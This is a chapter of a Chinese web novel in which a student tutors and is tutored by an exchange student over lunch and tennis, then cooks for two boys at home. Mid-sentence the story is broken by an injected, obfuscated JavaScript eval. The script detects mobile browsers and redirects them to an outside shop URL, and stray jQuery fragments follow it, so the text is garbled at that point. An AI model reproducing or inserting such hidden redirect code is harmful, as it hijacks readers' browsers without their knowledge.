39. 第三十九章·交换生
作品:《拉下泳坛高岭之花[游泳]》 中午的学生餐厅熙熙攘攘,应青瓷坐在靠窗的位置等人,低头随意滑着手机的新闻,目光不时抬起扫向门口。
本地板块一条不起眼的标题滑过。
《日化巨头江氏.集团股价连日阴跌,市场传闻其与资本方对赌协议面临巨大压力》。
她没太在意,很快就把页面划了过去。
当看到一个穿着灰色运动服戴着耳机的高大白人男子走进来,正四处张望时,她马上热情地站起身,用力挥了挥手。
“嗨!Raymond!这里!”
阳光帅气的Raymond闻声望来,脸上立刻露出一个灿烂的笑容,也抬手挥了挥,大步流星地走了过来:“哈喽,Stella!”
他放下背包,看到应青瓷为他打好的中餐,眼睛一亮,用夸张腔调的中文说道:“哇哦,真是让我垂线欲迪!”
“是垂涎欲滴。”应青瓷忍俊不禁,“不过你的成语词汇库真丰富。”
她指了指他餐盘里色泽诱人的糖醋里脊,“喏,你最喜欢的。”
Raymond连连点头,用筷子夹起一块,满足地放进嘴里:“太感谢了!”
“还有这个,”应青瓷像是变戏法一样,神秘兮兮地从自己的书包里取出一瓶绿茶饮料,推到他对面,“知道你爱喝这个。”
Raymond蓝色的眼睛里闪着光,拿起饮料感叹:“哦!我的老伙计!你可真是喜从天降!”
“你应该说,这可真是喜从天降。”
应青瓷纠正完,被他的用词逗得笑出声:“以后跟着我混,保准管饱!”她也拿起自己的筷子开始用餐,随口问道:“Claire今天怎么没来?”
Claire是Raymond的女朋友。
Raymond做了一个夸张的无奈表情,耸了耸肩:“她最近迷上了看你们国家的电视剧,我早上给她打了五遍电话,都没能把她从床上叫起来。”他叹了口气,用了一个刚学的词,“我真的垂头丧气了。”
应青瓷再次被他可爱的成语乱用逗乐,差点被饭呛到,好不容易才忍住笑。
她最近通过学校的国际交流社团认识了Raymond等几位交换生。
她的英语书面成绩一直不错,但口语实在是有些蹩脚,恰巧Raymond他们对学习中文抱有热情,于是几人一拍即合,经常一起学习,互相充当对方的老师,纠正发音和用法。
“待会儿去打网球吗?”Raymond看了一眼窗外明媚的天气,切换回英语,语速放缓。
应青瓷点点头,也用英语回答:“当然。但我得提前声明,我的技术非常拉胯,希望你不要嫌弃。”
Raymond笑着抬眼摇摇头,用英语说她还是太谦虚了。
“青瓷!这位帅哥是谁啊,不介绍一下?”
管乐乐端着餐盘,从远处走了过来,看猎物一般盯着Raymond。
应青瓷无奈地在心里叹了口气,充当起介绍人:“乐乐,这是Raymond,我的英语陪练。”她在桌下悄悄扯了扯管乐乐的裤腿,用眼神示意她收敛一下,然后微笑着对Raymond切换回英语,“Raymond,这位是我的室友,管乐乐,你可以叫她Joy。”
Raymond露出一个热情友好的笑容,绅士地向管乐乐伸出手:“你好,Joy!很高兴认识你!”
管乐乐立刻伸出手紧紧握住,脸上笑容灿烂,完全没有要松手的意思。
应青瓷看得哭笑不得,只好侧过头,凑到管乐乐耳边:“喂,口水收一收,人家可是有正牌女朋友的,感情好着呢。”
“啊?哦!”管乐乐立刻松开了手,干笑了两声:“呵呵,呵呵……那个,你好你好,欢迎来我们学校交换!”
……
一场酣畅淋漓的网球对决后,应青瓷和Raymond都累得够呛,毫无形象地一屁.股坐在场边的长椅上,大口喘着气。
管乐乐屁颠屁颠地抱着两瓶水跑过来,殷勤地递给他们。
Raymond接过,露出一个阳光的笑容,很自然地伸出手跟她碰了碰拳,用中文说了声:“谢了,伙计!”
休息了片刻,应青瓷用毛巾擦了擦汗,看向Raymond:“我们开始今天的正题?”Raymond点点头,将水瓶放到一边,神情正式了些。
应青瓷深吸一口气,拿出准备好的笔记本,假装正在与一位海外客户进行视频会议。她调整了一下坐姿,脸上努力摆出职业化的微笑,用英语开始了模拟对话。
“Goodmorning,Mr.King.ThisisStellaYingfromABCTradinpany.”
简单自我介绍后,她想让对话显得更自然亲切,于是按照平时和朋友聊天的习惯,她笑着习惯性地问了一句:“Whatareyoudoing?”
“Stop!”Raymond抬手打断,眉头紧皱,“听着,Stella,一上来就问客户‘你在干什么?’这太私人了,非常不专业,客户不是你的朋友。”
应青瓷恍然大悟,连忙点头:“对对对,我明白了!”她赶紧在笔记本上记下。
“好了,”Raymond示意她继续,“一句简单的问候开篇就可以。”
应青瓷受教地点点头,重新调整状态,开始介绍自己公司的产品优势。然而没讲几句,Raymond又打断了她。
“Stella,停一下。换个角度思考,如果你是客户,突然接到一个陌生人的产品推荐电话,你的第一反应会是什么?”
应青瓷眨了眨眼,咬着下唇仔细思索。一旁的管乐乐立刻举手,抢答发言:“如果我正在上厕所,或者忙得要死的时候接到这种电话,我肯定会很烦!”
Raymond打了个响指,表示赞同:“Bingo!Joy说到了点子上。西方客户,特别是商务人士,非常注重自己的隐私和时间,未经预约的推销电话本身就可能是一种打扰。”
应青瓷提出修正方案:“所以,我应该在自我介绍后,先征求他的同意?比如问Areyouavailablerightnow?”
“Excellent!”Raymond赞许地点头,“或者也可以用更委婉礼貌的说法,Iwouldreallyappreciateitifyoucouldspareamoment.这样给客户选择权,显得更尊重。”
应青瓷赶紧低头,将这些宝贵的实战技巧记录下来。
一个小时的模拟练习很快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151006|195004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就在这样反复的纠正和讨论中过去了。
连旁听的管乐乐都感觉受益匪浅,她对着Raymond竖起大拇指,由衷地感叹:“Raymond,真是听君一席话,胜读十年书啊!你太厉害了!”
“WOW!”Raymond眼睛一亮,开心地笑起来,“‘听君一席话,胜读十年书’!谢谢!我又学会了一句新的中文!太酷了!”
练习结束,应青瓷真诚地对Raymond说:“Raymond,你真的太棒了。说真的,你今天教的这些外贸沟通技巧,其实跟英语语言本身的关系反而不是最大的,更多的是商务思维和文化差异,这恰恰是你本身就擅长的。”
Raymond听了,耸耸肩解释道:“可能是因为我爹地就是做这行的,我从小就在饭桌上听他接到各种推销电话,听得我耳朵都快……嗯……出锈了?”
应青瓷和管乐乐先是一愣,随即忍俊不禁。应青瓷笑着帮他纠正:“是‘生锈’了,Raymond。听得耳朵都‘生锈’了。”
“哦,对!生锈!”Raymond恍然大悟,自己也哈哈大笑起来。
……
“肚子饿不饿?”应青瓷拎着刚买的菜,推开家门时,墙上的时钟已经指向晚上七点多。
客厅里两个猴儿最近难得收敛了些,正头对头地趴在饭桌上,对着摊开的作业本冥思苦想。
“饿啊,下午训练强度不小,现在前胸贴后背了。”江屿泮回过头,有气无力地趴在桌沿。“我哥最近穷死了,不给我钱买零食吃,连答应我的新游戏机都鸽了。”
“马上就好,再坚持一下。”应青瓷赶紧系上围裙,钻进了厨房。
“喂,呲花儿。”江屿泮走了进来,捞起一根她刚洗好的黄瓜,一边咔嚓咔嚓地啃着,一边看着她忙碌的背影。
“嗯?”应青瓷头也没抬,利落地切着砧板上的菜。
“你说你,大好青春,不去跟男朋友花前月下,整天浪费在我和应青峦这两个小屁孩身上,你也该去约你的会啊。”江屿阔吧唧着嘴。
应青瓷笑了笑:“人小鬼大,操心的还挺多。”
正说笑间,江屿泮口袋里的手机突然响了起来。他随手掏出来一看,夸张地嚯了一声:“见鬼了,失踪人口居然破天荒主动来电了。”他边说边按下了视频通话的接听键,“干嘛呀,哥?”
应青瓷切菜的手顿了一下。
“江屿泮,最近有没有见过爸,或者跟他联系过?”
江屿阔熟悉的声音传了过来。
应青瓷强迫自己将注意力收回,继续切细丝。
上一次收到江屿阔的消息,还是快两个月前,他只匆匆回了句手机要收了便断了联系。算算日子,还有不到一个月就能回来了。
应青瓷强迫自己收回注意力,继续切菜。
“没有啊,”江屿泮嚼着黄瓜,“他就上个月给我打了个电话,说他和老妈去G市考察什么项目了,让我乖乖训练,别惹事。”他反问道,“怎么,你也联系不上他了?”
电话那头沉默了几秒。
应青瓷状若无意地拿起鸡蛋,在碗边轻轻磕开。
“呲花儿也在这儿呢,你要不要跟她说两句?”江屿泮手腕一转,直接将手机摄像头对准了正在忙碌的应青瓷。

